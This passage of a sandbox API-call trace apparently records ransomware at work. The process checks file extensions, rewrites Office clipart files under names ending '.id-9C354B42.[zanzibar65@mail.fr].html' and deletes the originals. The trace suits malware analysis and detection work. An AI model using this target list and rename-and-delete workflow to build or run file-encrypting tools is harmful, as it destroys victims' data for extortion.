"c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0056.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0056.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0056.904] lstrlenW (lpString=".doc") returned 4 [0056.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.904] lstrlenW (lpString=".docx") returned 5 [0056.904] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.904] lstrlenW (lpString=".pdf") returned 4 [0056.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.904] lstrlenW (lpString=".xls") returned 4 [0056.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.904] lstrlenW (lpString=".xlsx") returned 5 [0056.904] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.904] lstrlenW (lpString=".ppt") returned 4 [0056.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0056.904] lstrlenW (lpString=".zip") returned 4 [0056.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.904] lstrlenW (lpString=".rar") returned 4 [0056.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.905] lstrlenW (lpString=".bz2") returned 4 [0056.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.905] lstrlenW (lpString=".7z") returned 3 [0056.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0056.905] lstrlenW (lpString=".dbf") returned 4 [0056.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0056.905] lstrlenW (lpString=".1cd") returned 4 [0056.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0056.905] lstrlenW (lpString=".jpg") returned 4 [0056.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.357] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.357] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0058.616] GetLastError () returned 0x0 [0058.616] ReadFile (in: hFile=0x258, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x332e, lpOverlapped=0x0) returned 1 [0058.620] WriteFile (in: hFile=0x21c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x3330, lpOverlapped=0x0) returned 1 [0058.621] ReadFile (in: hFile=0x258, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.621] WriteFile (in: hFile=0x21c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.621] SetEndOfFile (hFile=0x21c) returned 1 [0058.621] CloseHandle (hObject=0x21c) returned 1 [0058.621] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.622] SetEndOfFile (hFile=0x258) returned 1 [0058.622] CloseHandle (hObject=0x258) returned 1 [0058.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0058.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0058.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0058.623] lstrlenW (lpString=".doc") returned 4 [0058.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.623] lstrlenW (lpString=".docx") returned 5 [0058.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.623] lstrlenW (lpString=".pdf") returned 4 [0058.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.623] lstrlenW (lpString=".xls") returned 4 [0058.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.623] lstrlenW (lpString=".xlsx") returned 5 [0058.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.623] lstrlenW (lpString=".ppt") returned 4 [0058.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0058.623] lstrlenW (lpString=".zip") returned 4 [0058.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.623] lstrlenW (lpString=".rar") returned 4 [0058.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.624] lstrlenW (lpString=".bz2") returned 4 [0058.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.624] lstrlenW (lpString=".7z") returned 3 [0058.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0058.624] lstrlenW (lpString=".dbf") returned 4 [0058.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0058.624] lstrlenW (lpString=".1cd") returned 4 [0058.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0058.624] lstrlenW (lpString=".jpg") returned 4 [0058.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.624] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.624] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0058.625] GetLastError () returned 0x0 [0058.625] ReadFile (in: hFile=0x258, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x2cec, lpOverlapped=0x0) returned 1 [0058.626] WriteFile (in: hFile=0x21c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0058.627] ReadFile (in: hFile=0x258, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.627] WriteFile (in: hFile=0x21c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.628] SetEndOfFile (hFile=0x21c) returned 1 [0058.628] CloseHandle (hObject=0x21c) returned 1 [0058.628] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.628] SetEndOfFile (hFile=0x258) returned 1 [0058.629] CloseHandle (hObject=0x258) returned 1 [0058.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0058.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0058.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0058.629] lstrlenW (lpString=".doc") returned 4 [0058.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.629] lstrlenW (lpString=".docx") returned 5 [0058.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.629] lstrlenW (lpString=".pdf") returned 4 [0058.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.629] lstrlenW (lpString=".xls") returned 4 [0058.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.629] lstrlenW (lpString=".xlsx") returned 5 [0058.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.630] lstrlenW (lpString=".ppt") returned 4 [0058.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0058.630] lstrlenW (lpString=".zip") returned 4 [0058.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.630] lstrlenW (lpString=".rar") returned 4 [0058.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.630] lstrlenW (lpString=".bz2") returned 4 [0058.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.630] lstrlenW (lpString=".7z") returned 3 [0058.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0058.630] lstrlenW (lpString=".dbf") returned 4 [0058.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0058.630] lstrlenW (lpString=".1cd") returned 4 [0058.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0058.630] lstrlenW (lpString=".jpg") returned 4 [0058.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.631] SetFilePointerEx (hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8) [0058.631] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.631] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0058.632] GetLastError () returned 0x0 [0058.632] ReadFile (in: hFile=0x21c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x1138, lpOverlapped=0x0) returned 1 [0058.633] WriteFile (in: hFile=0x1d8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1140, lpOverlapped=0x0) returned 1 [0058.634] ReadFile (in: hFile=0x21c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.634] WriteFile (in: hFile=0x1d8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.634] SetEndOfFile (hFile=0x1d8) returned 1 [0058.634] CloseHandle (hObject=0x1d8) returned 1 [0058.634] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.634] SetEndOfFile (hFile=0x21c) returned 1 [0058.635] CloseHandle (hObject=0x21c) returned 1 [0058.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0058.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0058.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0058.636] lstrlenW (lpString=".doc") returned 4 [0058.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.636] lstrlenW (lpString=".docx") returned 5 [0058.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.636] lstrlenW (lpString=".pdf") returned 4 [0058.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.636] lstrlenW (lpString=".xls") returned 4 [0058.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.636] lstrlenW (lpString=".xlsx") returned 5 [0058.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.636] lstrlenW (lpString=".ppt") returned 4 [0058.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0058.636] lstrlenW (lpString=".zip") returned 4 [0058.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.636] lstrlenW (lpString=".rar") returned 4 [0058.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.636] lstrlenW (lpString=".bz2") returned 4 [0058.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.636] lstrlenW (lpString=".7z") returned 3 [0058.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0058.637] lstrlenW (lpString=".dbf") returned 4 [0058.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0058.637] lstrlenW (lpString=".1cd") returned 4 [0058.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0058.637] lstrlenW (lpString=".jpg") returned 4 [0058.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.637] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=6256) returned 1 [0058.637] CloseHandle (hObject=0x21c) returned 1 [0058.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x20 [0058.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0058.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0058.637] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.638] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0058.638] GetLastError () returned 0x0 [0058.638] ReadFile (in: hFile=0x21c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x1870, lpOverlapped=0x0) returned 1 [0058.639] WriteFile (in: hFile=0x1d8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1880, lpOverlapped=0x0) returned 1 [0058.640] ReadFile (in: hFile=0x21c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.640] WriteFile (in: hFile=0x1d8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.640] SetEndOfFile (hFile=0x1d8) returned 1 [0058.641] CloseHandle (hObject=0x1d8) returned 1 [0058.641] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.641] SetEndOfFile (hFile=0x21c) returned 1 [0058.643] CloseHandle (hObject=0x21c) returned 1 [0058.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0058.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0058.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0058.644] lstrlenW (lpString=".doc") returned 4 [0058.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.644] lstrlenW (lpString=".docx") returned 5 [0058.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.644] lstrlenW (lpString=".pdf") returned 4 [0058.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.644] lstrlenW (lpString=".xls") returned 4 [0058.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.644] lstrlenW (lpString=".xlsx") returned 5 [0058.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.644] lstrlenW (lpString=".ppt") returned 4 [0058.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0058.644] lstrlenW (lpString=".zip") returned 4 [0058.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.644] lstrlenW (lpString=".rar") returned 4 [0058.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.644] lstrlenW (lpString=".bz2") returned 4 [0058.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.644] lstrlenW (lpString=".7z") returned 3 [0058.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0058.644] lstrlenW (lpString=".dbf") returned 4 [0058.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0058.644] lstrlenW (lpString=".1cd") returned 4 [0058.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0058.644] lstrlenW (lpString=".jpg") returned 4 [0058.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.645] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.645] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0058.646] GetLastError () returned 0x0 [0058.646] ReadFile (in: hFile=0x21c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x4c14, lpOverlapped=0x0) returned 1 [0058.647] WriteFile (in: hFile=0x1d8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0058.648] ReadFile (in: hFile=0x21c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.648] WriteFile (in: hFile=0x1d8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.648] SetEndOfFile (hFile=0x1d8) returned 1 [0058.649] CloseHandle (hObject=0x1d8) returned 1 [0058.649] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.649] SetEndOfFile (hFile=0x21c) returned 1 [0058.650] CloseHandle (hObject=0x21c) returned 1 [0058.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0058.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0058.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0058.650] lstrlenW (lpString=".doc") returned 4 [0058.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.650] lstrlenW (lpString=".docx") returned 5 [0058.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.651] lstrlenW (lpString=".pdf") returned 4 [0058.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.651] lstrlenW (lpString=".xls") returned 4 [0058.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.651] lstrlenW (lpString=".xlsx") returned 5 [0058.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.651] lstrlenW (lpString=".ppt") returned 4 [0058.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 